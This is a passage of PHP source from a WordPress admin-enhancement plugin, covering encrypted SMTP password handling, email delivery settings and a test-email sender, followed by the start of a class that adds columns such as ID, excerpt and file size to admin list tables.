||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function set_smtp_password_unavailable_flag() {
|
||||
set_transient( self::SMTP_PASSWORD_UNAVAILABLE_TRANSIENT, 1, $this->get_smtp_password_unavailable_transient_ttl() );
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear the SMTP password unavailable flag.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function clear_smtp_password_unavailable_flag() {
|
||||
delete_transient( self::SMTP_PASSWORD_UNAVAILABLE_TRANSIENT );
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the SMTP password unavailable flag is currently set.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function is_smtp_password_unavailable_flagged() {
|
||||
return (bool) get_transient( self::SMTP_PASSWORD_UNAVAILABLE_TRANSIENT );
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear per-user SMTP password notice dismissals.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function clear_smtp_password_notice_dismissals() {
|
||||
delete_metadata(
|
||||
'user',
|
||||
0,
|
||||
self::SMTP_PASSWORD_NOTICE_DISMISSED_META,
|
||||
'',
|
||||
true
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Check SMTP password health after a Site Backup restore.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return string Warning message or empty string when healthy.
|
||||
*/
|
||||
public function check_smtp_password_after_restore() {
|
||||
if ( !$this->is_smtp_password_unavailable_for_delivery() ) {
|
||||
return '';
|
||||
}
|
||||
$this->set_smtp_password_unavailable_flag();
|
||||
return __( 'SMTP password could not be decrypted after restore. Re-enter it under ASE → Email Delivery.', 'admin-site-enhancements' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Repair nested SMTP password storage by rewriting a clean single-layer v2 value.
|
||||
*
|
||||
* @since 8.8.6
|
||||
*
|
||||
* @return bool Whether storage was repaired or already healthy.
|
||||
*/
|
||||
public function repair_nested_smtp_password_storage() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( !is_array( $options ) || empty( $options['smtp_password'] ) ) {
|
||||
return false;
|
||||
}
|
||||
$stored_password = $options['smtp_password'];
|
||||
if ( $this->is_smtp_password_storage_version_v2() && $this->is_smtp_password_v2_encrypted( $stored_password ) ) {
|
||||
$outer_plaintext = $this->decrypt_smtp_password( $stored_password );
|
||||
if ( false !== $outer_plaintext && !$this->is_probable_smtp_ciphertext( $outer_plaintext ) ) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
$plaintext_password = $this->unwrap_smtp_password_to_plaintext( $stored_password );
|
||||
if ( false === $plaintext_password || $this->is_probable_smtp_ciphertext( $plaintext_password ) ) {
|
||||
$this->set_smtp_password_unavailable_flag();
|
||||
return false;
|
||||
}
|
||||
if ( $this->is_smtp_password_v2_encrypted( $stored_password ) ) {
|
||||
$outer_plaintext = $this->decrypt_smtp_password( $stored_password );
|
||||
if ( false !== $outer_plaintext && !$this->is_probable_smtp_ciphertext( $outer_plaintext ) && $outer_plaintext === $plaintext_password ) {
|
||||
$this->mark_smtp_password_storage_version_v2();
|
||||
$this->clear_smtp_password_unavailable_flag();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
$encrypted_password = $this->encrypt_smtp_password( $plaintext_password );
|
||||
if ( empty( $encrypted_password ) ) {
|
||||
$this->set_smtp_password_unavailable_flag();
|
||||
return false;
|
||||
}
|
||||
$options['smtp_password'] = $encrypted_password;
|
||||
update_option( ASENHA_SLUG_U, $options, true );
|
||||
$this->clear_smtp_password_unavailable_flag();
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Output a global admin notice when SMTP authentication cannot use the stored password.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function maybe_show_smtp_password_admin_notice() {
|
||||
if ( !is_admin() || !current_user_can( 'manage_options' ) ) {
|
||||
return;
|
||||
}
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( !is_array( $options ) || empty( $options['smtp_email_delivery'] ) ) {
|
||||
return;
|
||||
}
|
||||
$should_warn = $this->is_smtp_password_unavailable_for_delivery( $options ) || $this->is_smtp_password_unavailable_flagged();
|
||||
if ( !$should_warn ) {
|
||||
return;
|
||||
}
|
||||
if ( get_user_meta( get_current_user_id(), self::SMTP_PASSWORD_NOTICE_DISMISSED_META, true ) && !$this->is_smtp_password_unavailable_flagged() ) {
|
||||
return;
|
||||
}
|
||||
$settings_url = admin_url( 'tools.php?page=' . ASENHA_SLUG . '#utilities' );
|
||||
$message = $this->get_smtp_password_reentry_message();
|
||||
?>
|
||||
<div class="notice notice-warning is-dismissible asenha-smtp-password-notice" id="asenha-smtp-password-notice">
|
||||
<p>
|
||||
<?php
|
||||
echo esc_html( $message );
|
||||
?>
|
||||
<a href="<?php
|
||||
echo esc_url( $settings_url );
|
||||
?>"><?php
|
||||
esc_html_e( 'Open Email Delivery settings', 'admin-site-enhancements' );
|
||||
?></a>
|
||||
</p>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Dismiss the global SMTP password admin notice for the current administrator.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function dismiss_smtp_password_admin_notice() {
|
||||
if ( !current_user_can( 'manage_options' ) ) {
|
||||
wp_send_json_error( array(
|
||||
'message' => __( 'Insufficient permissions.', 'admin-site-enhancements' ),
|
||||
), 403 );
|
||||
}
|
||||
check_ajax_referer( 'asenha-dismiss-smtp-password-notice', 'nonce' );
|
||||
update_user_meta( get_current_user_id(), self::SMTP_PASSWORD_NOTICE_DISMISSED_META, true );
|
||||
wp_send_json_success();
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueue the dismiss handler for the global SMTP password notice.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function enqueue_smtp_password_notice_script() {
|
||||
if ( !is_admin() || !current_user_can( 'manage_options' ) ) {
|
||||
return;
|
||||
}
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( !is_array( $options ) || empty( $options['smtp_email_delivery'] ) ) {
|
||||
return;
|
||||
}
|
||||
if ( !$this->is_smtp_password_unavailable_for_delivery( $options ) && !$this->is_smtp_password_unavailable_flagged() ) {
|
||||
return;
|
||||
}
|
||||
if ( get_user_meta( get_current_user_id(), self::SMTP_PASSWORD_NOTICE_DISMISSED_META, true ) && !$this->is_smtp_password_unavailable_flagged() ) {
|
||||
return;
|
||||
}
|
||||
wp_enqueue_script( 'jquery' );
|
||||
wp_add_inline_script( 'jquery', 'jQuery(function($){$(document).on("click","#asenha-smtp-password-notice .notice-dismiss",function(){$.post(ajaxurl,{action:"asenha_dismiss_smtp_password_notice",nonce:' . wp_json_encode( wp_create_nonce( 'asenha-dismiss-smtp-password-notice' ) ) . '});});});' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve SMTP password for runtime delivery use.
|
||||
*
|
||||
* Legacy plaintext remains supported as a migration fallback until the
|
||||
* settings are re-saved and rewritten to the encrypted format.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @param string|null $stored_password Stored option value.
|
||||
* @return string
|
||||
*/
|
||||
public function get_smtp_password_for_runtime( $stored_password = null ) {
|
||||
if ( null === $stored_password ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$stored_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
|
||||
}
|
||||
switch ( $this->get_smtp_password_status( $stored_password ) ) {
|
||||
case self::SMTP_PASSWORD_STATUS_ENCRYPTED_VALID:
|
||||
$plaintext_password = $this->unwrap_smtp_password_to_plaintext( $stored_password );
|
||||
if ( false === $plaintext_password || $this->is_probable_smtp_ciphertext( $plaintext_password ) ) {
|
||||
$this->set_smtp_password_unavailable_flag();
|
||||
return '';
|
||||
}
|
||||
return $plaintext_password;
|
||||
case self::SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT:
|
||||
if ( $this->is_probable_smtp_ciphertext( $stored_password ) ) {
|
||||
$this->set_smtp_password_unavailable_flag();
|
||||
return '';
|
||||
}
|
||||
return (string) $stored_password;
|
||||
default:
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get message shown when the stored SMTP password can no longer be used.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_smtp_password_reentry_message() {
|
||||
return __( 'The stored SMTP password can no longer be decrypted. Please enter it again and save changes.', 'admin-site-enhancements' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Send emails using external SMTP service
|
||||
*
|
||||
* @since 4.6.0
|
||||
*/
|
||||
public function deliver_email_via_smtp( $phpmailer ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$smtp_host = $options['smtp_host'];
|
||||
$smtp_port = $options['smtp_port'];
|
||||
$smtp_security = $options['smtp_security'];
|
||||
$smtp_authentication = ( isset( $options['smtp_authentication'] ) ? $options['smtp_authentication'] : 'enable' );
|
||||
$smtp_username = $options['smtp_username'];
|
||||
$smtp_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
|
||||
$smtp_default_from_name = $options['smtp_default_from_name'];
|
||||
$smtp_default_from_email = $options['smtp_default_from_email'];
|
||||
$smtp_force_from = $options['smtp_force_from'];
|
||||
$smtp_bypass_ssl_verification = $options['smtp_bypass_ssl_verification'];
|
||||
$smtp_debug = $options['smtp_debug'];
|
||||
// Do nothing if host or password is empty
|
||||
// if ( empty( $smtp_host ) || empty( $smtp_password ) ) {
|
||||
// return;
|
||||
// }
|
||||
// Maybe override FROM email and/or name if the sender is "WordPress <wordpress@sitedomain.com>", the default from WordPress core and not yet overridden by another plugin.
|
||||
$from_name = $phpmailer->FromName;
|
||||
$from_email_beginning = substr( $phpmailer->From, 0, 9 );
|
||||
// Get the first 9 characters of the current FROM email
|
||||
if ( $smtp_force_from ) {
|
||||
$phpmailer->FromName = $smtp_default_from_name;
|
||||
$phpmailer->From = $smtp_default_from_email;
|
||||
// WP 6.9: set SMTP envelope (MAIL FROM) using PHPMailer::Sender only.
|
||||
// PHPMailer maintainers treat envelope bounce handling as **Sender**, not a separate ReturnPath property;
|
||||
// receiving MTAs derive Return-Path from the envelope sender.
|
||||
// Ref: https://make.wordpress.org/core/2025/11/18/more-reliable-email-in-wordpress-6-9/
|
||||
$phpmailer->Sender = $smtp_default_from_email;
|
||||
} else {
|
||||
if ( 'WordPress' === $from_name && !empty( $smtp_default_from_name ) ) {
|
||||
$phpmailer->FromName = $smtp_default_from_name;
|
||||
}
|
||||
if ( 'wordpress' === $from_email_beginning && !empty( $smtp_default_from_email ) ) {
|
||||
$phpmailer->From = $smtp_default_from_email;
|
||||
// WP 6.9: set SMTP envelope (MAIL FROM) using PHPMailer::Sender only.
|
||||
// PHPMailer maintainers treat envelope bounce handling as **Sender**, not a separate ReturnPath property;
|
||||
// receiving MTAs derive Return-Path from the envelope sender.
|
||||
// Ref: https://make.wordpress.org/core/2025/11/18/more-reliable-email-in-wordpress-6-9/
|
||||
$phpmailer->Sender = $smtp_default_from_email;
|
||||
}
|
||||
}
|
||||
$smtp_password = $this->get_smtp_password_for_runtime( $smtp_password );
|
||||
if ( 'enable' === $smtp_authentication && !empty( $smtp_host ) && !empty( $smtp_port ) && !empty( $smtp_security ) && '' === trim( $smtp_password ) ) {
|
||||
$this->set_smtp_password_unavailable_flag();
|
||||
$this->pending_smtp_password_log_error = __( 'SMTP password unavailable (decryption failed or not configured).', 'admin-site-enhancements' );
|
||||
}
|
||||
// Only attempt to send via SMTP if all the required info is present. Otherwise, use default PHP Mailer settings as set by wp_mail()
|
||||
if ( !empty( $smtp_host ) && !empty( $smtp_port ) && !empty( $smtp_security ) ) {
|
||||
// Send using SMTP
|
||||
$phpmailer->isSMTP();
|
||||
// phpcs:ignore
|
||||
if ( 'enable' == $smtp_authentication ) {
|
||||
$phpmailer->SMTPAuth = true;
|
||||
// phpcs:ignore
|
||||
} else {
|
||||
$phpmailer->SMTPAuth = false;
|
||||
// phpcs:ignore
|
||||
}
|
||||
// Set some other defaults
|
||||
// $phpmailer->CharSet = 'utf-8'; // phpcs:ignore
|
||||
$phpmailer->XMailer = 'Admin and Site Enhancements v' . ASENHA_VERSION . ' - a WordPress plugin';
|
||||
// phpcs:ignore
|
||||
$phpmailer->Host = $smtp_host;
|
||||
// phpcs:ignore
|
||||
$phpmailer->Port = $smtp_port;
|
||||
// phpcs:ignore
|
||||
$phpmailer->SMTPSecure = $smtp_security;
|
||||
// phpcs:ignore
|
||||
if ( 'enable' == $smtp_authentication ) {
|
||||
$phpmailer->Username = trim( $smtp_username );
|
||||
// phpcs:ignore
|
||||
$phpmailer->Password = trim( $smtp_password );
|
||||
// phpcs:ignore
|
||||
}
|
||||
}
|
||||
// If verification of SSL certificate is bypassed
|
||||
// Reference: https://www.php.net/manual/en/context.ssl.php & https://stackoverflow.com/a/30803024
|
||||
if ( $smtp_bypass_ssl_verification ) {
|
||||
$phpmailer->SMTPOptions = [
|
||||
'ssl' => [
|
||||
'verify_peer' => false,
|
||||
'verify_peer_name' => false,
|
||||
'allow_self_signed' => true,
|
||||
],
|
||||
];
|
||||
}
|
||||
// If debug mode is enabled, send debug info (SMTP::DEBUG_CONNECTION) to WordPress debug.log file set in wp-config.php
|
||||
// Reference: https://github.com/PHPMailer/PHPMailer/wiki/SMTP-Debugging
|
||||
if ( $smtp_debug ) {
|
||||
$phpmailer->SMTPDebug = 4;
|
||||
//phpcs:ignore
|
||||
$phpmailer->Debugoutput = 'error_log';
|
||||
//phpcs:ignore
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a test email and use SMTP host if defined in settings
|
||||
*
|
||||
* @since 5.3.0
|
||||
*/
|
||||
public function send_test_email() {
|
||||
if ( isset( $_REQUEST['email_to'] ) && isset( $_REQUEST['nonce'] ) && current_user_can( 'manage_options' ) ) {
|
||||
if ( wp_verify_nonce( sanitize_text_field( $_REQUEST['nonce'] ), 'send-test-email-nonce_' . get_current_user_id() ) ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$smtp_host = ( isset( $options['smtp_host'] ) ? $options['smtp_host'] : '' );
|
||||
$smtp_port = ( isset( $options['smtp_port'] ) ? $options['smtp_port'] : '' );
|
||||
$smtp_security = ( isset( $options['smtp_security'] ) ? $options['smtp_security'] : '' );
|
||||
$smtp_authentication = ( isset( $options['smtp_authentication'] ) ? $options['smtp_authentication'] : 'enable' );
|
||||
$smtp_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
|
||||
$smtp_password_status = $this->get_smtp_password_status( $smtp_password );
|
||||
$smtp_is_configured = !empty( $smtp_host ) && !empty( $smtp_port ) && !empty( $smtp_security );
|
||||
$runtime_smtp_password = $this->get_smtp_password_for_runtime( $smtp_password );
|
||||
if ( $smtp_is_configured && 'enable' === $smtp_authentication && (self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID === $smtp_password_status || '' === $runtime_smtp_password || $this->is_probable_smtp_ciphertext( $runtime_smtp_password )) ) {
|
||||
wp_send_json( array(
|
||||
'status' => 'failed',
|
||||
'message' => $this->get_smtp_password_reentry_message(),
|
||||
) );
|
||||
}
|
||||
$content = array(
|
||||
array(
|
||||
'title' => 'Hey... are you getting this?',
|
||||
'body' => '<p><strong>Looks like you did!</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'There\'s a message for you...',
|
||||
'body' => '<p><strong>Here it is:</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'Is it working?',
|
||||
'body' => '<p><strong>Yes, it\'s working!</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'Hope you\'re getting this...',
|
||||
'body' => '<p><strong>Looks like this was sent out just fine and you got it.</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'Testing delivery configuration...',
|
||||
'body' => '<p><strong>Everything looks good!</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'Testing email delivery',
|
||||
'body' => '<p><strong>Looks good!</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'Config is looking good',
|
||||
'body' => '<p><strong>Seems like everything has been set up properly!</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'All set up',
|
||||
'body' => '<p><strong>Your configuration is working properly.</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'Good to go',
|
||||
'body' => '<p><strong>Config is working great.</strong></p>',
|
||||
),
|
||||
array(
|
||||
'title' => 'Good job',
|
||||
'body' => '<p><strong>Everything is set.</strong></p>',
|
||||
)
|
||||
);
|
||||
$random_number = rand( 0, count( $content ) - 1 );
|
||||
$to = sanitize_email( wp_unslash( $_REQUEST['email_to'] ) );
|
||||
$title = $content[$random_number]['title'];
|
||||
$body = $content[$random_number]['body'] . '<p>This message was sent from <a href="' . get_bloginfo( 'url' ) . '">' . get_bloginfo( 'url' ) . '</a> on ' . wp_date( 'F j, Y' ) . ' at ' . wp_date( 'H:i:s' ) . ' via ASE.</p>';
|
||||
$headers = array('Content-Type: text/html; charset=UTF-8');
|
||||
$success = wp_mail(
|
||||
$to,
|
||||
$title,
|
||||
$body,
|
||||
$headers
|
||||
);
|
||||
if ( $success ) {
|
||||
$response = array(
|
||||
'status' => 'success',
|
||||
);
|
||||
} else {
|
||||
$response = array(
|
||||
'status' => 'failed',
|
||||
);
|
||||
}
|
||||
wp_send_json( $response );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,504 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Enhance List Tables module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Enhance_List_Tables {
|
||||
/**
|
||||
* Current post type. For Content Admin >> Show Custom Taxonomy Filters functionality.
|
||||
*/
|
||||
public $post_type;
|
||||
|
||||
/**
|
||||
* Show featured images column in list tables for pages and post types that support featured image
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function show_featured_image_column() {
|
||||
$post_types = get_post_types( array(
|
||||
'public' => true,
|
||||
), 'names' );
|
||||
foreach ( $post_types as $post_type_key => $post_type_name ) {
|
||||
if ( post_type_supports( $post_type_key, 'thumbnail' ) ) {
|
||||
add_filter( "manage_{$post_type_name}_posts_columns", [$this, 'add_featured_image_column'], 999 );
|
||||
add_action(
|
||||
"manage_{$post_type_name}_posts_custom_column",
|
||||
[$this, 'add_featured_image'],
|
||||
10,
|
||||
2
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a column called Featured Image as the first column
|
||||
*
|
||||
* @param mixed $columns
|
||||
* @return void
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_featured_image_column( $columns ) {
|
||||
$new_columns = array();
|
||||
foreach ( $columns as $key => $value ) {
|
||||
if ( 'title' == $key ) {
|
||||
// We add featured image column before the 'title' column
|
||||
$new_columns['asenha-featured-image'] = __( 'Featured Image', 'admin-site-enhancements' );
|
||||
}
|
||||
if ( 'thumb' == $key ) {
|
||||
// For WooCommerce products, we add featured image column before it's native thumbnail column
|
||||
$new_columns['asenha-featured-image'] = __( 'Product Image', 'admin-site-enhancements' );
|
||||
}
|
||||
$new_columns[$key] = $value;
|
||||
}
|
||||
// Replace WooCommerce thumbnail column with ASE featured image column
|
||||
if ( array_key_exists( 'thumb', $new_columns ) ) {
|
||||
unset($new_columns['thumb']);
|
||||
}
|
||||
return $new_columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Echo featured image's in thumbnail size to a column
|
||||
*
|
||||
* @param mixed $column_name
|
||||
* @param mixed $id
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_featured_image( $column_name, $id ) {
|
||||
if ( 'asenha-featured-image' === $column_name ) {
|
||||
if ( has_post_thumbnail( $id ) ) {
|
||||
$size = 'thumbnail';
|
||||
echo '<a href="' . get_edit_post_link( $id ) . '">' . get_the_post_thumbnail( $id, $size, '' ) . '</a>';
|
||||
} else {
|
||||
echo '<a href="' . get_edit_post_link( $id ) . '"><img src="' . esc_url( plugins_url( 'assets/img/default_featured_image.jpg', __DIR__ ) ) . '" /></a>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Show excerpt column in list tables for pages and post types that support excerpt.
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function show_excerpt_column() {
|
||||
$post_types = get_post_types( array(
|
||||
'public' => true,
|
||||
), 'names' );
|
||||
foreach ( $post_types as $post_type_key => $post_type_name ) {
|
||||
if ( post_type_supports( $post_type_key, 'excerpt' ) ) {
|
||||
add_filter( "manage_{$post_type_name}_posts_columns", [$this, 'add_excerpt_column'] );
|
||||
add_action(
|
||||
"manage_{$post_type_name}_posts_custom_column",
|
||||
[$this, 'add_excerpt'],
|
||||
10,
|
||||
2
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a column called Excerpt as the first column
|
||||
*
|
||||
* @param mixed $columns
|
||||
* @return void
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_excerpt_column( $columns ) {
|
||||
$new_columns = array();
|
||||
foreach ( $columns as $key => $value ) {
|
||||
$new_columns[$key] = $value;
|
||||
if ( $key == 'title' ) {
|
||||
$new_columns['asenha-excerpt'] = __( 'Excerpt', 'admin-site-enhancements' );
|
||||
}
|
||||
}
|
||||
return $new_columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Echo featured image's in thumbnail size to a column
|
||||
*
|
||||
* @param mixed $column_name
|
||||
* @param mixed $id
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_excerpt( $column_name, $id ) {
|
||||
if ( 'asenha-excerpt' === $column_name ) {
|
||||
$excerpt = wp_strip_all_tags( get_the_excerpt( $id ) );
|
||||
// about 310 characters
|
||||
$excerpt = substr( $excerpt, 0, 160 );
|
||||
// truncate to 160 characters
|
||||
$short_excerpt = substr( $excerpt, 0, strrpos( $excerpt, ' ' ) );
|
||||
echo wp_kses_post( $short_excerpt );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Show last modified column for pages, posts and CPTs
|
||||
*
|
||||
* @since 7.4.0
|
||||
*/
|
||||
public function show_last_modified_column() {
|
||||
foreach ( get_post_types() as $post_type ) {
|
||||
add_filter(
|
||||
'manage_' . $post_type . '_posts_columns',
|
||||
[$this, 'add_last_modified_column'],
|
||||
10,
|
||||
1
|
||||
);
|
||||
add_action(
|
||||
'manage_' . $post_type . '_posts_custom_column',
|
||||
[$this, 'show_last_modified_datetime'],
|
||||
10,
|
||||
2
|
||||
);
|
||||
add_filter(
|
||||
'manage_edit-' . $post_type . '_sortable_columns',
|
||||
[$this, 'make_last_modified_column_sortable'],
|
||||
10,
|
||||
1
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a column called Last Modified
|
||||
*
|
||||
* @since 7.4.0
|
||||
*/
|
||||
public function add_last_modified_column( $columns ) {
|
||||
$new_columns = array();
|
||||
foreach ( $columns as $key => $value ) {
|
||||
$new_columns[$key] = $value;
|
||||
if ( $key == 'date' ) {
|
||||
$new_columns['asenha-last-modified'] = __( 'Last Modified', 'admin-site-enhancements' );
|
||||
}
|
||||
}
|
||||
return $new_columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Output the last modified date time for each post
|
||||
*
|
||||
* @since 7.4.0
|
||||
*/
|
||||
public function show_last_modified_datetime( $column_name, $id ) {
|
||||
if ( 'asenha-last-modified' == $column_name ) {
|
||||
$modified_date_time_unix = strtotime( get_post_field( 'post_modified_gmt', $id ) );
|
||||
echo '<span class="last-modified-timestamp">' . wp_date( get_option( 'date_format' ), $modified_date_time_unix ) . '<br />' . wp_date( get_option( 'time_format' ), $modified_date_time_unix ) . '</span>';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Make last modified column sortable
|
||||
*
|
||||
* @since 7.4.0
|
||||
*/
|
||||
public function make_last_modified_column_sortable( $columns ) {
|
||||
$columns['asenha-last-modified'] = 'modified';
|
||||
return $columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add ID column list table of pages, posts, custom post types, media, taxonomies, custom taxonomies, users amd comments
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function show_id_column() {
|
||||
// For pages and hierarchical post types list table
|
||||
add_filter( 'manage_pages_columns', [$this, 'add_id_column'] );
|
||||
add_action(
|
||||
'manage_pages_custom_column',
|
||||
[$this, 'add_id_echo_value'],
|
||||
10,
|
||||
2
|
||||
);
|
||||
// For posts and non-hierarchical custom posts list table
|
||||
add_filter( 'manage_posts_columns', [$this, 'add_id_column'] );
|
||||
add_action(
|
||||
'manage_posts_custom_column',
|
||||
[$this, 'add_id_echo_value'],
|
||||
10,
|
||||
2
|
||||
);
|
||||
// For media list table
|
||||
add_filter( 'manage_media_columns', [$this, 'add_id_column'] );
|
||||
add_action(
|
||||
'manage_media_custom_column',
|
||||
[$this, 'add_id_echo_value'],
|
||||
10,
|
||||
2
|
||||
);
|
||||
// For list table of all taxonomies
|
||||
$taxonomies = get_taxonomies( [
|
||||
'public' => true,
|
||||
], 'names' );
|
||||
foreach ( $taxonomies as $taxonomy ) {
|
||||
add_filter( 'manage_edit-' . $taxonomy . '_columns', [$this, 'add_id_column'] );
|
||||
add_action(
|
||||
'manage_' . $taxonomy . '_custom_column',
|
||||
[$this, 'add_id_return_value'],
|
||||
10,
|
||||
3
|
||||
);
|
||||
}
|
||||
// For users list table
|
||||
add_filter( 'manage_users_columns', [$this, 'add_id_column'] );
|
||||
add_action(
|
||||
'manage_users_custom_column',
|
||||
[$this, 'add_id_return_value'],
|
||||
10,
|
||||
3
|
||||
);
|
||||
// For comments list table
|
||||
add_filter( 'manage_edit-comments_columns', [$this, 'add_id_column'] );
|
||||
add_action(
|
||||
'manage_comments_custom_column',
|
||||
[$this, 'add_id_echo_value'],
|
||||
10,
|
||||
3
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a column called ID
|
||||
*
|
||||
* @param mixed $columns
|
||||
* @return void
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_id_column( $columns ) {
|
||||
$columns['asenha-id'] = 'ID';
|
||||
return $columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Echo post ID value to a column
|
||||
*
|
||||
* @param mixed $column_name
|
||||
* @param mixed $id
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_id_echo_value( $column_name, $id ) {
|
||||
if ( 'asenha-id' === $column_name ) {
|
||||
echo esc_html( $id );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Return post ID value to a column
|
||||
*
|
||||
* @param mixed $value
|
||||
* @param mixed $column_name
|
||||
* @param mixed $id
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_id_return_value( $value, $column_name, $id ) {
|
||||
if ( 'asenha-id' === $column_name ) {
|
||||
$value = $id;
|
||||
}
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add file size column to media library
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
public function add_column_file_size( $columns ) {
|
||||
$columns['asenha-file-size'] = __( 'File Size', 'admin-site-enhancements' );
|
||||
return $columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Display the file size value
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
public function display_file_size( $column_name, $attachment_id ) {
|
||||
if ( 'asenha-file-size' != $column_name ) {
|
||||
return;
|
||||
}
|
||||
$file_size = filesize( get_attached_file( $attachment_id ) );
|
||||
$file_size = size_format( $file_size, 1 );
|
||||
// Show one decimal point
|
||||
echo esc_html( $file_size );
|
||||
}
|
||||
|
||||
/**
|
||||
* Add file size column to media library
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
public function add_media_styles() {
|
||||
echo '<style>.column-asenha-file-siz {width: 60px;}</style>';
|
||||
}
|
||||
|
||||
/**
|
||||
* Add ID in the action row of list tables for pages, posts, custom post types, media, taxonomies, custom taxonomies, users amd comments
|
||||
*
|
||||
* @since 4.7.4
|
||||
*/
|
||||
public function show_id_in_action_row() {
|
||||
add_filter(
|
||||
'page_row_actions',
|
||||
array($this, 'add_id_in_action_row'),
|
||||
99,
|
||||
2
|
||||
);
|
||||
add_filter(
|
||||
'post_row_actions',
|
||||
array($this, 'add_id_in_action_row'),
|
||||
99,
|
||||
2
|
||||
);
|
||||
add_filter(
|
||||
'cat_row_actions',
|
||||
array($this, 'add_id_in_action_row'),
|
||||
99,
|
||||
2
|
||||
);
|
||||
add_filter(
|
||||
'tag_row_actions',
|
||||
array($this, 'add_id_in_action_row'),
|
||||
99,
|
||||
2
|
||||
);
|
||||
add_filter(
|
||||
'media_row_actions',
|
||||
array($this, 'add_id_in_action_row'),
|
||||
99,
|
||||
2
|
||||
);
|
||||
add_filter(
|
||||
'comment_row_actions',
|
||||
array($this, 'add_id_in_action_row'),
|
||||
99,
|
||||
2
|
||||
);
|
||||
add_filter(
|
||||
'user_row_actions',
|
||||
array($this, 'add_id_in_action_row'),
|
||||
99,
|
||||
2
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Output the ID in the action row
|
||||
*
|
||||
* @since 4.7.4
|
||||
*/
|
||||
public function add_id_in_action_row( $actions, $object ) {
|
||||
if ( current_user_can( 'edit_posts' ) ) {
|
||||
// For pages, posts, custom post types, media/attachments, users
|
||||
